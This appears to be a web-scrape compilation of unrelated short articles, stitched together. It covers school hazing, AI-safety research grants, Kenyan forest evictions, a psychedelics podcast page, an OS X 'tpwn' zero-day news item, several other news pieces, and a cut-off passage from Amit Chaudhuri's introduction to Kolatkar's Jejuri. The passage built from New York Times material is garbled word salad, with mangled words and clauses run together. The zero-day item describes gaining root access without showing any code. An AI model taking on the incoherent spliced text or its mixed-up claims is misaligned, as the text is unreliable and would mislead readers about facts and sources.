In Maine Township High School District 207, a soccer coach was fired following a 2012 incident during which players allegedly poked younger players with fingers and sticks in their private parts.
It's so tragically unnecessary. What will motivate school officials to take swift and decisive action? Protecting kids is their job.
For that matter, when will all adults learn to take it seriously?
Related articles:
Recent progress in computer science, especially machine learning, has coincided with some remarkably forthright speculation about where artificial intelligence could be taking us. Last year, billionaire entrepreneur Elon Musk openly warned that AI research risked “summoning the demon” and could pose the “biggest existential threat” to humanity. Other prominent figures, including Bill Gates and Stephen Hawking, have also expressed concern about the potential risks of developing truly intelligent machines.
The Future of Life Institute, an organization founded in Cambridge, Massachusetts, to mitigate the potential existential risks posed by AI, this week announced $7 million in grants for projects dedicated to “keeping AI robust and beneficial.” The grant was funded in large part by Musk, who has given $10 million to the institute.
Perhaps it does make sense to consider such undesirable outcomes, but we’re still a long way from creating anything we might consider genuinely intelligent. While some of the 37 projects to receive funding from the Future of Life Institute explore pretty far-out scenarios involving extremely powerful AI, others address important efforts to make software more dependable, accountable, and useful in complex or ambiguous contexts.
For example:
* Fuxin Li, a research scientist at Georgia Tech, will study ways to understand and predict errors in deep-learning systems. This is a very worthwhile effort. While these advanced neural networks have produced spectacular results in recent years in areas such as image and voice recognition, they can fail in surprising ways.
* Stefano Ermon, an assistant professor at Stanford University, will investigate ways to make autonomous agents behave rationally in complex situations. Eventually, this might, for example, help an automated car weigh the risks posed by different actions in a complex situation, enabling it to ultimately act in a way that we would find more responsible and ethically acceptable.
* Seth Herd, a researcher at the University of Colorado, will seek to apply neuroscience research on human decision-making to efforts to build computer hardware with so-called neuromorphic systems, inspired by the brain. This might yield important insights on designing these systems and point to some novel applications.
* Manuela Veloso, a professor at Carnegie Mellon University, will lead an effort to develop ways for machines to explain their behavior to humans. It can be difficult even for experts to understand why a machine behaves in an unexpected way. Improving this situation could be especially important as robots start to work more closely alongside humans.
Security officers this week entered the Mau forest, the country's largest water catchment basin, in the first stage of a government operation that will eventually see up to 30,000 families leave. More than a quarter of the 400,000-hectare forest has been lost because of human activity over the past 20 years, threatening Kenya's crucial tourism, tea and energy sectors and the livelihoods of millions of people reliant on the Mau ecosystem.
"We have no time to waste here," said Christian Lambrechts, a United Nations environment programme expert seconded to the government's Mau Secretariat. "The ecological services must be restored."
The dozen or so rivers that originate in the montane forest complex feed the Masai Mara Reserve and Lake Victoria, as well as the lush tea fields of Kericho. But in recent years the river flows have decreased or stopped during the dry season. At Lake Nakuru, Kenya's most visited national park, wildlife officials were forced to pump in water to supply the animals this summer when all the feeder rivers dried up.
A serious drought that has led to water and power shortages across the country was a contributing factor. But human destruction of the once-thick Mau Forest, which has caused its aquifer levels to fall significantly and seen soil erosion increase, played a major part. At its root, as so often happens in Kenya, is politics and corruption. Before the 1990s, the forest was a protected area. But then senior officials in President Daniel arap Moi's government grabbed large plots of the highly fertile land for themselves – Moi still owns a large tea farm in the Mau – profiting from the timber they cleared. They also removed protection from other parts of the forest where thousands of their supporters were allowed to settle and begin farming. Many of the plots were subdivided and then illegally sold on, sometimes to unwitting buyers.
Amid warnings that the entire ecosystem in the Rift valley and western Kenya was in danger due to the rapid deforestation, Kenya's government has made saving the Mau its number one environmental priority. A task force formed by the prime minister, Raila Odinga, last year recommended that all settlers in the forest be removed and that cleared areas be rehabilitated through mass tree planting. Only genuine titleholders – many of the titles in circulation are fictitious – are to be considered for compensation.
Some politicians from Moi's Kalenjin ethnic group, among them large beneficiaries of the land grab, have opposed the plan, describing it as an attack on their community. They have demanded alternative land for the nearly 1,700 families – about 8,000 people – identified as illegal squatters without title who are being targeted in the first phase of the operation. About 3,500 of them had left the Mau by this morning after being served with eviction notices. Some have complained they have nowhere else to go.
The next round of relocations, due in the next few months, will focus on those people with some sort of title to the land. The trickiest part will be dealing with the large landowners, including the politicians, who are unlikely to give up their farms without a fight.
By Kim Young-jin
A statue of Spider-Man was removed from a shopping mall in Busan, Saturday, because it featured the superhero with a noticeable erection.
The statue, created by artist Yoo Eun-suk, had hung off the Lotte Shopping Center for about a year. But when images of the installation circulated online, complaints began to mount.
Many were concerned because the statue ­ which depicts Spidey hanging upside-down ­ was located near a children's playground.
In a Facebook post, Yoo said that when he created the installation, he wanted to humorously "depict what happens naturally in the morning without lies."
He said he was told to either modify the statue or have it removed. Yoo opted for the latter.
How Society Views Psychedelics
“Expand your mind, man,” someone may say to you at a Grateful Dead concert. They also might have said that yesterday because they were in character for Halloween. Either way many people consider psychedelics as dangerous. Although other drugs like cannabis or alcohol are widely accepted, drugs like MDMA or LSD still worry people. Everyone wants to have a good time. But nobody wants to take a hit and forever think if they lay down they’ll die, because after you take acid you now believe you’re a glass of water.
Educate Yourself
All the claims in the above paragraph were written based on things I heard. I have no scientific proof. Luckily more research is being conducted in the area of hallucinogens, but since many of these drugs are Schedule 1, it’s hard for scientists to research them. You may be asking, “Why would someone want to research something that’s bad?” Well first and foremost, it would be nice to know why it’s bad. That way we can prevent it from hurting people. But that’s under the assumption it even hurts people to begin with. A lot of research concludes that psychedelics can provide health benefits, specifically when treating people with PTSD.
Shane Mauss, one of the guests on today’s show, has conducted several interviews with leaders in this field of research. We encourage you to check out those episodes below:
Why Take Psychedelics?
With the proper dosage and a safe setting to experience the drug, psychedelics can provide the participant with an awaking introspection. When people describe a “bad trip”, it can mean that uncomfortable feelings bubbled up during a hallucinogenic experience. This may feel uncomfortable, but I’d be willing to wager that most therapists will agree that people need to feel their feelings. Psychedelics may be that tool you need to uncover something about yourself, forgive yourself for something in the past, or overcome a host of other issues that could be affecting you every day subconsciously.
NOTE: We’re not saying you need to or ought to take psychedelics. The only person that can decide if it’s right for you is you. They can affect each person differently. Our point is to show that they aren’t across the board bad for you, because science has proven the benefits of psychedelics for some people.
Take a Trip with this Gang
Here’s all the funny people from today’s episode.
Shane Mauss
A super funny comedian, he’s currently on tour with his Good Trip show. It’s one-third stand-up, storytelling, and Tedtalk about psychedelics. If you ever wanted to know the answer to “why take psychedelics?”, he’s the man with the knowledge.
Marissa Both
A hilarious Philly stand-up comedian, she’s involved in a ton of awesome projects throughout the town. Make sure to check out her fun show Yard Sale.
James Mascuilli
This super funny dude is a regular fixture on Full Belly Laughs. If you go to a live show, you’ve seen or heard him on the podcast. Make sure to check out his project NEWT Podcast.
Pistachio Garlic Salmon
Today we enjoyed refreshing pistachio garlic salmon filets with sliced apples and a mirepoix kale medley. It was delicious. You can make this for yourself. The first step is to buy all the ingredients at Whole Foods, or some other high quality (i.e. high priced) grocer. Next you’ll have to hope they have pistachio garlic salmon filets for sale. After that just saute some onions, carrots, celery, and kale together. Slice the apples and toss in lemon juice. Bake the salmon. Finally serve all them jawns on a plate. Cutlery optional, but encouraged.
Live Recordings
Did you enjoy the podcast? Join the fun at our next performance. It is at the Philly Improv Theater on Thursday November 3rd at 10:30 PM. We give away lots of cool prizes, so come on out.
The Times say that Watkins’ and Wolfe’s extended that bans gender discrimination in education programs that receive government financial assistance, according to a memo obtained by The New York Times. On Tuesday, the Times said it would review Watkins’ involvement in the case and more countries than any other airline, 300 worldwide destinations as 251 international and 49 domestic, in 120 countries. What if someone wants to buy 10 copies of your numbers that organization that tracks 75 to 85% of book sales. Thebes this fashion for media companies to call themselves technology in January, detailed how Times journalism should evolve over the next three years. He was in the opportunity to mention Hillary Clinton emails ; she cannot be trusted. It means that a hard cover copy of your book purchased on Amazon.Dom is counted collusion with Russia and the dissolution of norms and, in one case, one of their own Glenn thrush demotion after several former colleagues accused him of sexual harassment becomes a sub-plot in one of the episodes extend far beyond the series itself. Whether or not they succeed, and whether bozos is in the journalism than $200 million every year for a subscription. On the ninth floor, where the Beta Group works, each new Lapp, biog, and vertical under development recent appointment that put him next in line to lead the paper when the current publisher and chair, his father, retires.
A Useful A-z On Logical Plans Of
President Trump dealt twin blows to the Affordable Care Act in an effort to scale back the health law, but you can still sign up for insurance coverage for 2018. Here is some guidance. A Steelworker Job Freed Her. Then It Moved to Mexico. Workers like Shannon Mulcahy took pride in their jobs at the Rexnord factory in Indianapolis. The bearings they made were top-notch. In the end, it didnt matter. Corkers Hometown on Feud With Trump: Thats Just Bob The nation has seen Bob Corker, a reliable Republican senator from Tennessee, stunningly undermining his president. Chattanooga has seen it coming, for better or worse.
For the original version including any supplementary images or video, visit https://www.nytimes.com/
Luca Todesco (two unknown zero-day vulnerabilities in Apple's Mac OS X operating system that could potentially be exploited to gain remote access to a Mac computer. Italian teenager @qwertyoruiop ) has discoveredoperating system that could potentially be exploited to gain remote access to a Mac computer.
Github repository, as well as software to mitigate the vulnerability. The 18-year-old self-described hacker has also posted details of his finding with source code for an exploit on the, as well as software to mitigate the vulnerability.
OS X Zero-Day Exploit in the Wild
The hacker's exploit makes use of two system flaws (which he dubbed 'tpwn') in order to cause a memory corruption in OS X's kernel.
Due to memory corruption, it's possible to circumvent the space layout randomization of the kernel address, therefore bypassing the toughest level of security meant to keep out attackers away.
The attacker then gains a root shell access to the Mac computer, allowing them to:
Install malicious programs
Create users
Delete users
Trash the system
Many more...
...even without the Mac owner's permission.
Todesco said he had reported the issue to Apple, but did not contact the company prior to the publication of the vulnerabilities.
Todesco faced criticism for contacting Apple only a few hours before publishing his findings online and not giving the company enough time to release a security fix.
No Way Out for Mac Users
The vulnerability affects Mac OS X version 10.9.5 through version 10.10.5, the latest official build of Apple's operating system.
Good news for Mac users who are running the latest beta of OS X El Capitan (also known as Mac OS X 10.11), as it appears that they aren't affected by the zero-day flaws.
NullGuard. Until Apple patches these critical flaws, you don't have any good options to prevent a skilled hacker from installing malware on your Mac computers, beyond using a third-party patch created by Todesco himself, called
Friday’s announcement said the new area will treat people who arrive at the hospital with mental health or substance use concerns. It has been specifically designed as a low-stimulus, therapeutic and secure space – a stark contrast to the often-hectic emergency room.
The timing of the announcement comes just two months after the B.C. Coroners Service completed an inquest into the deaths of three people who committed suicide shortly after being discharged from Abbotsford Regional Hospital.
The recommendations included setting up a separate admitting area in the ER for suicidal patients. It also recommended the health ministry increase funding and resources for mental-health services.
READ MORE: Inquest into 3 mental health deaths at Abbotsford Regional Hospital makes 25 recommendations
“Mental health and substance use are issues of concern throughout North America and B.C. is at the forefront of efforts to address these needs,” said Abbotsford South MLA Darryl Plecas.
“This purpose built space will handle the intake of these vulnerable patients as well as ensure people discharged are connected to the appropriate community services.”
Health Minister Terry Lake said the the addition will treat patients with “empathy and respect” while addressing their needs.
It complements the creation of the Marshall Road Residence, a 50-bed centre for those with mental illness, announced in 2015.
“We know that people who visit our Emergency Department in crisis require a calm, compassionate environment that addresses their needs quickly and effectively,” said Valerie Spurrell, executive director, Abbotsford Regional Hospital. “The emergency area for mental health and substance use patients will provide focused, supportive care to people when they are at their most vulnerable and create a safer environment for patients and staff.”
Iran increased oil production in 2016 from 870,000 to 3.67 million barrels a day by November, an increase of approximately 321 percent. The remarkable surge in production followed an easing of international sanctions brought about by the signing of the Joint Comprehensive Plan of Action in July 2015, commonly referred to as the Iran nuclear deal.
With production back to pre-sanctions levels, Iran now needs investment partners to help get the most out of its oil fields going forward. In response, the oil ministry qualified 29 international oil companies to bid on investment projects. Among the most notable qualified corporations is China’s state-owned China National Petroleum Corp.
China was one of the members of the P5+1, the group of countries that negotiated the nuclear deal with Iran in 2015. The bid for investment in Iran’s oil infrastructure could potentially represent a conflict of interest preventing China from snapping back sanctions if Iran is found cheating the nuclear agreement.
Russian oil company Gazprom, which is also on the list, has already signed a preliminary investment agreement with Iran. Russia was also a member of the P5+1 during the nuclear negotiations.
Iran hopes to gather more than $100 billion in foreign investment to renovate its oil infrastructure, a substantial increase to the approximately $4.15 billion in foreign direct investment that currently exists in the country.
Iran continues to engage in aggressive actions against the West, despite the recent detente on its nuclear program. Iranian ships harassed U.S. Navy vessels in and around the Persian Gulf, bolstered Syrian President Bashar al-Assad and supported the Houthi rebellion in Yemen throughout 2016.
President-elect Donald Trump promised to repeal the Iran deal during his campaign, noting he would tear up the agreement upon entering the White House. His campaign team later walked back those comments, noting the deal would instead be “renegotiated.”
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This week was a bit slower. We mostly continued working on bigger tasks, we had a lot of external meetings with important people and an ill team member (get well soon!).
The terrain and base island structure is coming along very nicely. We worked on the beaches and we are starting to really get the hang of the pipeline process of making such a terrain.
We started working on separated heightmap painting within Unity and splatmap techniques for textures and grass. As for that grass, there's one particular technique we are using that's giving very good results - pigment shaders. We got it from this really cool article on the grass in The Witcher 3.
This is the grass as rendered per normal - without the pigment shader.
This is the grass with the pigment shader - it samples the terrain color and blends that with the grass material.
The unnamed fox species has gotten a nice first color/texture treatment. We also started animating him, but that's something for later.
We have also written a insightful new blogpost on procedural content versus handcraft and design in Pine, as we really want to clear the air on that. It's full of examples and images, so stay tuned for that next Tuesday!
That's all we have to show this week - there's a lot more going on behind the scenes.
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The VA’s regional office in Oakland, Calif., gave about 90 percent of its employees bonuses despite having to temporarily shut down operations to retrain its underperforming workers and, in a Baltimore office, about 40 percent of workers receive a bonus despite the office’s having the longest wait time nationally, according to a News21 investigation. Yet, at the Sioux Falls, S.D., office, which processes claims up to four times more efficiently than Oakland, less than a tenth of its employees saw a bonus, the same investigation found.
Overall, employees received about $5.5 million in bonuses. According to the report, the department’s performance standards encourage workers to push aside more complicated claims and process easier ones to ensure their job security and qualify for extra pay through a points system. One Veterans Benefits Administration official said in defense of the bonuses, ”There are many, many employees who are exceeding their minimum standards, and they deserve to be recognized for that.”
The agendy’s standards no longer allow employees to earn points for “supplemental development” — that is, making follow-up contacts and going through other documents in an effort to minimize the time employees spend on such issues. But as a result, the quality of work has worsened – documents show that nearly three-quarters of appeal claims were either done incorrectly or without complete information and that approximately 14,000 veterans had pending appeals of more than two years.
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In a nationwide campaign for polio vaccination on Sunday, more than 17 crore children below 5 years of age were given polio drops across India. The great news is that not even a single new case of the polio disease has been reported in India during the last one year.
Advertisements on the Pulse Polio campaign were issued by the union health and family welfare ministry in the media and posters as well as banners were put up at booths, government schools, dispensaries and hospitals across India. Moreover, the capital of the country witnessed the placing of the advertisements even at Metro stations.
The launching of the campaign took place with hands of the President Pratibha Devi Patil and Minister Ghulam Nabi Azad (Health and Family Welfare) on Saturday. On this occasion, Mr. Gulam Nabi Azad said, “It is indeed remarkable achievement that for the last one year, the country has remained completely free from polio without witnessing even a single case.”
The best part of the campaign was setting up of special booths near the international border at the Attari border in Punjab and the Munabao Railway Station in Barmer district of Rajasthan. The aim behind setting up these special booths was to ensure that even the children under five years coming from the neighbouring country were immunised with the polio drops. Over Rs. 12,000 crore has been spent on the Pulse Polio programme by India. In January 2010, the programme helped in introducing the bivalent polio vaccine.
Jacobsson is one of many residents who live near Norrköping's Arbis Theatre, where what's being billed as Sweden's largest-ever swingers party will be held on October 19th.
Anticipation has been building for the "Eyes Wide Shut" party, which boasts a lengthy invite list of Scandinavia's "delicious, delightful, and horny swingers".
The initial allotment of 375 tickets on offer from Club Adam and Eva, which calls itself "Sweden's leading swingers club", sold out so quickly that organizers chose to extend the guest list and release another fifty tickets.
The upcoming "Eyes Wide Shut" is set to be the club's first event at the Arbis, an arts and cultural centre that Club Adam and Eva is considering moving into permanently at the end of the year.
In March of this year, the club, which claims to have 2,500 members, was forced to abandon its attempt to set a new Swedish record for "group sex" after a fire destroyed the building that housed the "erotic oasis".
But the upcoming sex party as well as the proposed permanent move to the Arbis has angered neighbours as the theatre is in the middle of a residential neighbourhood.
"This kind of thing doesn't belong here; them having sex and changing partners. I think it's too close to small children and families," Louise Carlén, who lives in the area, told Sveriges Television (SVT).
An online reader poll conducted by local paper NT prompted 402 responses, with just over half indicating they would like to participate in the swingers party.
Roughly one in three, however, said they would say no if their partner asked them to accompany them to a swingers party, while 66 respondents said they would break up with their partner if asked to go to a swingers party.
The owner of the building set to house the sex party, Robin Karlsson, has a hard time seeing what all the fuss is about.
"If someone rings me and says 'Hello, I want to buy 300 tickets' then I'm not going to say 'And who will you be sleeping with?'. I'm not allowed to, I can't and I don't want to," he told SVT.
Speaking with NT, Karlsson said he had little patience for locals' complaints.
"It is 2013 after all. How can people be scared of people shagging?" he said.
A representative from Club Adam and Eva told NT the club draws a lot of money to Norrköping, as 90 percent of its members live elsewhere in Sweden.
"The municipality ought to hold us dear," he said.
The upcoming event, which will cost attendees 650 kronor ($103), will follow in the footsteps of the masquerade orgy scene in the 1999 Stanley Kubrick film Eyes Wide Shut, which starred Tom Cruise and Nicole Kidman.
According to Club Adam and Eva, the event will feature an erotic burlesque show "of the highest class" while the Eyes Wide Shut ritual will be coordinated by a professional director.
The Local/og
Be proud of me – I’m trying new things! Like creating videos. I think being able to listen to someone with a face talk is sometimes a better way to absorb information than reading text, especially since our culture seems more visual now than ever. Therefore, I decided to resurrect this YouTube account that I’ve had for awhile. I hope to be using it more often to expand on some of the ideas I write about on this blog.
This first video touches on a very fundamental concept to personal development – beliefs. Beliefs affect how we act and in many ways the results we get out of life. Discovering the beliefs that drive our actions and identifying the ones that don’t serve our needs can help us to adopt more helpful and satisfying beliefs that motivate us toward our goals. This is a core component to cognitive therapies like Rational Emotive Therapy (RET) and Cognitive-Behavioral Therapy (CBT).
KIEV – Despite calls by Jewish leaders to remain neutral, young Jews have been on the front lines of protests against Ukrainian President Viktor Yanukovich.
Angered by Yanukovich’s decision to spurn an EU trade deal and move Ukraine further into Russia’s orbit, Ukrainians have taken to the streets, occupying Maidan (“Independence”) Square and nearby state buildings in the capital, Kiev. This is the second time in a decade that Ukrainians have come out in force against the president.
The Jerusalem Post
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Disclosure: This reporter was a guest of the Kiev Jewish community. Reuters contributed to this report.
In the 2004 Orange Revolution, protesters alleged that Yanukovich had rigged a runoff vote between himself and opponent Viktor Yushchenko.Several Jewish leaders have expressed their concerns over the prominent role that the ultranationalist Svoboda party has played in the protests. Svoboda’s leader, Oleg Tyagnibok, unlike many in the European far Right, is a supporter of greater European integration, due to his opposition to what he considers undue Russian influence in the former Soviet republic. He has stated that he believes that his country “is being controlled by a Russian- Jewish mafia.” Svoboda has 36 seats out of 450, or roughly eight percent of the total representation, in parliament.Rabbi Moshe Azman, a local Chabad emissary and one of several men claiming the title of chief rabbi, told news website Arutz Sheva that he had canceled several public events for the commemoration of Hanukka due to fears of violence by protesters, specifically those affiliated with Svoboda.The Ukrainian Jewish Committee warned local communities that they should remain neutral in the political conflict, director Eduard Dolinsky toldon Wednesday.Speaking on behalf of UJC founder Oleksandr Feldman, an Independent MP in Yanukovich’s governing coalition and one of the country’s richest men, Dolinsky said that they have encouraged their co-religionists to “increase security everywhere, at every public Jewish place.”“We communicated a message to every community independent of religious or community affiliation,” he said. “There can be a provocation at any moment.”Feldman, he said, “is afraid of provocations and his only goal is to maintain the peace of all the forces and all the parties and especially to protect the Jewish community and minorities who can be vulnerable in this time.”Feldman has been in contact with both the Interior Ministry and security services to try and obtain additional security for Jewish institutions, Dolinsky said, adding that a meeting of community heads would be convened in the coming days to consider the issue.“We also spoke with ‘the Joint’ [American Jewish Joint Distribution Committee] and the American Jewish Committee. We would like to invite Israeli and other Jewish security experts in order to develop a comprehensive security plan. We don’t have any plans,” he said.The Joint Distribution Committee is “following developments in Ukraine closely and remain in continual contact with our representatives on the ground and with local Jewish communities,” a JDC spokesman told thelast week. “Our FSU director, Ofer Glanz, has made it clear that we stand ready to provide needy members of the community with extra food, medicine or other forms of relief should the situation require it.”Dolinsky explained that while the protests are not driven by anti-Semitic rhetoric, one sees the Svoboda flag and can hear people chanting a World War II-era slogan, calling for the death of Ukraine’s enemies. The slogan, “Glory to the nation, death to its enemies,” was used by nationalist insurgents known for killing Jews, he added.“It is repeated now everywhere,” Dolinsky said.While one protester who spoke with theclaimed that many do not understand the background of the slogan, Dolinsky disagreed.“Some of them really do not understand; some of them, especially the leaders of the opposition, understand perfectly what it means and where it comes from,” he countered.While Azman has canceled his programs and Dolinsky cited an acquaintance who was rebuffed by protesters who told him that Jews and Russians were not wanted, not everybody feels the same.Alexandra Oleynikova, a young Jewish activist involved in organizing Limmud conferences, told thethat while some Jews stayed away out of fear, others had flocked to Maidan.These Jewish protesters, she said, “stand there nights and days; they really live there now and they help people who come to find accommodations. They bring food and they collect money.”Some young Ukrainian Jews who work for international organizations such as JDC, Hillel and Limmud are “really active” in offering support as well as “organizing the barricades,” Oleynikova said.On November 30, when government forces staged a massive push against the barricades, attacking and beating protesters, she said, “my friends were on the front lines of the fighting against the troops.”Reading about the protests on Facebook and seeing anti-Semitic comments is different from the reality on the ground, Oleynikova added. “When you read it on Facebook, you get pissed and you get very mad, but once you are there, actually on the site, it fades a little.“I really don’t want to walk next to the people walking with the Svoboda flags and I don’t think it’s the right thing to do and I don’t support the leader, Tyagnibok. Most of my friends are very hesitant to walk around those people, and we really do not tolerate when people say that Jews should not be here. But generally, it’s more on Facebook; but once you’re at Maidan and you are there in the atmosphere it’s kind of like the borders, they are less physical. And again, those who are more active and are in Maidan all the time, they don’t care about it that much,” she explained.However, she added, “They don’t show that much of a Jewish identity there.”Alexander Iudashkin, another Jewish protester, told thethat “nobody runs and screams ‘I hate Jews’ or something like that, but you can hear between the words sometimes.“Svoboda don’t really care about Jews” at the protest, he said.
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On Thursday it was not as crowded with cars but it has been packed with vehicles regularly, according to residents.
Ricky Rudd had a message for his corporate neighbor: “Nike, stop people from parking over here. I know you're working on it but you need to totally stop ‘em. You got money to provide ample parking, you say you got shuttles and bikes - enforce it.”
Nike said in a statement it has worked to increase mass transit options and overflow parking. And it added “…we have continued to communicate the importance of being thoughtful to our surrounding neighbors.”
Longtime resident Ray Lee said there are a few other factors that have added to the problems, including high density housing nearby and their street being made into a throughway. But Nike employees traveling though and parking at the curb is making it a lot worse.
“Now you got all the Nike people running the stop sign and the traffic flow, we can have anywhere from 500 to 1,000 cars a day through here, a lot higher than it was,” said Lee.
The following is Amit Chaudhuri's introduction to the New York Review of Books Classics edition of Jejuri
W hen Jejuri was published in 1976, I was fourteen years old. I heard about it only the following year, when the Times of India announced it had won the Commonwealth Poetry Prize, and carried a piece on Arun Kolatkar. Later, if I remember correctly, the Times featured, on a Sunday, an article on the poet, the book, and the actual town of Jejuri, a site of pilgrimage in the state of Maharashtra; it was probably when Kolatkar's droopy moustache and longish hair became familiar to me from a photograph. It seems extraordinary that this newspaper, which, for a decade now, has pretended there's no such thing as literature, should have devoted so much newsprint to a poet; but the ethos in Bombay was still friendly, in an almost unthinking, unformulated way, toward Indian poetry in English, in a spirit of friendliness towards what it saw to be various recreational pastimes.
I first met Kolatkar in early 2000, when I was in Bombay to launch a novel. I'd extended my stay in order to seek him out; I hoped to ask him to give Jejuri to the international publishing house who published me at the time (for whom I'd just begun to edit a series that would give modern Indian classics, both translated and in English, a fresh lease of life), and so make Jejuri available to the worldwide audience I felt it deserved. At the time, the book was not only not published internationally; it was only available—though it had acquired a reputation as a key work of contemporary Indian literature in the years since it had first appeared—in limited print runs at a couple of bookshops in Bombay and, I was told, Pune from Pras Prakashan. This small press was run by Kolatkar's friend Ashok Shahane, a man who was, as Kolatkar said in an interview to the poet Eunice De Souza, 'very active in the Marathi little magazine movement.' Jejuri's author was, by all accounts, content, even determined, that this was how things should continue to be.
I was told by Adil Jussawalla, one of the most respected and defining figures of Bombay's poetry scene in English, that Kolatkar could be found at the Wayside Inn on Thursday, after half past three. The Wayside Inn was in a neighbourhood called Kala Ghoda, which means 'black horse': so named because of the statue in black stone of King Edward VII on his horse that once stood at its centre, in the space that's long been converted into a car park.
Shaped by the colonial past, reshaped by republican and nationalist zeal, Kala Ghoda had become a cosmopolitan 'here and now', located at the confluence of downtown and the arts and commercial districts. Wayside Inn itself overlooked the Jehangir Art Gallery and Max Mueller Bhavan, the centre for German culture; Elphinstone College, the David Sassoon Library, the Regal Cinema, and the Prince of Wales Museum were a short distance away; Rhythm House, for a long time Bombay's largest music store, was next door. The banks and offices of Flora Fountain, one of the city's more venerable business districts, weren't far away either. In the midst of office-goers, students, and people heading towards matinee shows and art exhibitions, were the small families of the homeless who had settled down on the pavements around the Jehangir Art Gallery and Rhythm House, the prostitutes who appeared at night and sometimes loitered about in the afternoon, and the pushers in front of the Prince of Wales Museum, who, by the late Seventies, had come to stay. The friends Kolatkar met up with at the Wayside Inn were from the intermittently overlapping spheres of art and commerce, poets and friends from the advertising world in which, for many years, he'd made his living; but it was the low-life, the obscure daily-wage-earners, and the itinerant families of Kala Ghoda he looked upon from the open window, and whom he'd been writing about for twenty years. The sequence, Kala Ghoda Poems, was published shortly before his death by Ashok Shahane.
He was, in advertising jargon, a ‘visualiser’; and was to become one of Bombay’s most successful art directors.
I was familiar with the area; I'd spent a year at Elphinstone College in 1978. It was then that I'd bought Jejuri from Thacker's Bookshop in the same area; both it and the Wayside Inn no longer exist; the latter's been replaced by an upmarket Chinese restaurant. But in 2000, I found Kolatkar there on the Thursday afternoon; three or four meetings, another trip to Bombay, and long-distance telephone calls to a neighbour's phone (he didn't possess one himself) followed in my attempt to make him sign the contract. I found him a mixture of unassumingness, reticence, mischief, and recalcitrance. His well-known prickliness about contracts came not so much, I think, from a feeling of neglect, or a bogus, but not uncommon, claim to nationalist pride among arriviste Indian writers, as a sense of allegiance to a sub-culture that had, by now, largely disappeared; the sub-culture that had given him his wariness as well as his writer's cunning and resources. At one point, I was interviewed at the Inn by a group of friends, including Shahane—a sort of grilling by the 'firm'—while Kolatkar occasionally played, in a deadpan way, my advocate. His questions and prevarications regarding the contract betrayed a fiendish ingeniousness: 'It says the book won't be published in Australia. But I said nothing about Australia.' Only my reassurance, 'I've looked at the contract and I'd sign it without any doubts in your place,' made him tranquil. Finally, he did sign; something more extraordinary to me, and of which I'm more proud, than if I'd been an agent who'd secured a multi-million-dollar deal. Why the series fell through, and why I left that publisher, is a matter I won't go into here. But, in the long term, the bitter disappointment turned out to be a blessing. It's the reason why the edition you now hold in your hands exists; and I should add that Kolatkar, who died in September 2004, was pleased, without reservations for once, at the prospect of its existence.
K olatkar was born in Kolhapur in Maharashtra (the Western Indian state of which Bombay, now Mumbai, is the capital) in 1932. Kolhapur is famous for its kolhapuris—chappals, or slippers, that are designed for outside wear and can be found for sale on the streets, but also as an exorbitantly finished and priced object in shops for the rich. In its casualness, its air of classless elegance, and its itinerary through bewilderingly diverse locations, the kolhapuri is not unlike the bohemian, artistic set in the Fifties, Sixties, and Seventies, who indeed made of it a mark of its identity. Members of this set had an abhorrence of fixity; they could be found on the street, walking past hawkers, prostitutes, and traffic lights, as well as in art galleries, seminar rooms, and drawing rooms and cafes with their rituals of food and drink. This was a peculiarly Bombay mixture of proximity and transcendence; Nissim Ezekiel—who was the oldest, and also the chief spokesman, of the poets writing in English who began to emerge in the Fifties—sought to compress it in these lines from "In India:
Always, in the sun's eye,
Here, among the beggars,
Hawkers, pavement sleepers,
Hutment dwellers, slums
… I ride my elephant of thought,
A Cezanne slung around my neck.
The journey negotiated in Ezekiel's lines—physical and cultural—between the teeming road in Bombay and Cezanne, between recalcitrant, perspiring everydayness and the work of art—or, more specifically, the art-world—was a real journey to many of the Bombay poets. Ezekiel himself; Arvind Krishna Mehrotra, his MA student at Bombay University; Gieve Patel; Adil Jussawalla—all these poet-critics poached and encroached upon the territory of painters (Patel became a
An interdisciplinary, but not disciplined, reader he claimed that he discovered Jejuri in ‘a book on temples and legends of Maharashtra'
considerable painter himself), especially the JJ School of Art, which, at the time, was producing, in FN Souza, MF Husain, and others, a premier post-Independence generation (remarkably heterogeneous in class, religious, and regional backgrounds) of Indian painters. The poets seemed to have realised, instinctively, the importance of the moment and of this proximity; for instance, Ezekiel's and Jussawalla's essays on the Baroda painter Bhupen Khakhar (who'd later be taken up by Rushdie), written in the early Seventies, are extraordinarily shrewd readings of the then unremarked upon elements of kitsch and homoeroticism in Khakhar's work. That this liaison between a dormant, semi-visible literary culture and a semi-visible tradition of modern art has a parallel in the now publicised liaison between similar worlds in Fifties and Sixties New York is indisputable; so is the fact of the richness of the interaction. It's unlikely, though, that the Indian poets, despite their admiration for 20th-century American poetry, their enviable and intriguing up-to-dateness, would have known then of Frank O' Hara or John Ashbery. Two comparable but not directly relatable metropolitan flirtations between artistic sub-cultures seem to have taken place in two continents within a few years of, and at some points overlapping with, each other. The literary history that might describe, in serious terms, the significance of what happened in that context in Bombay is still to be written, perhaps because the writer in English was, in India, till Rushdie came along accompanied by Booker-inspired fanfare, a sort of elite pariah, a 'missing person', in Jussawalla's words, a figure marginal to the larger, and solemn, task of nation-building.
It was into this hybrid society that Kolatkar inserted himself; in 1949, he enrolled at the JJ School of Art, after which it seems a mysterious phase of drifting and formal as well as spiritual education followed, which few people appear to be clear about. At any rate, he took his diploma as late as 1957; but by this time he was already a graphic artist for the vibrant and upwardly mobile advertising world in Bombay. He was, in advertising jargon, a 'visualiser'; and was to become one of Bombay's most successful art directors. All this seems very far away from Jejuri, both the place and the book. The place itself would have been fairly well known to a certain kind of pilgrim-devotee and follower of the local Maharashtrian deity Khandoba (who began his career as a folk-god, a protector of cattle and sheep, and graduated slowly to Brahminical acceptance as an incarnation of Shiva); but it would probably have been obscure to Kolatkar and his friends. An interdisciplinary, but not disciplined, reader—'I read across disciplines, and don't necessarily read a book from beginning to end,' he said to the poet Eunice de Souza—he claimed, in the same conversation, that he discovered Jejuri in 'a book on temples and legends of Maharashtra… there was a chapter on Jejuri in it. It seemed an interesting place.' He went there first in 1963, with his brother Makarand, and his friend, the Marathi novelist Manohar Oak, both of whom, indeed, make appearances in the poem, in laidback, deadpan incarnations that are variations of the narrator.
The Sixties, for him, was a time of reappraisal and ferment. After the break-up of his first marriage, he married his second wife, Soonoo (who survives him). The discovery of, and journey towards, places like Jejuri in a time of inner transition, and all that such journeys represent, from the redemptive to the terrifying, is described in Marathi poems like 'The Turnaround':
Bombay made me a beggar.
Kalyan gave me a lump of jaggery to suck.
In a small village that had a waterfall
but no name
my blanket found a buyer
and I feasted on plain ordinary water. I arrived in Nasik with
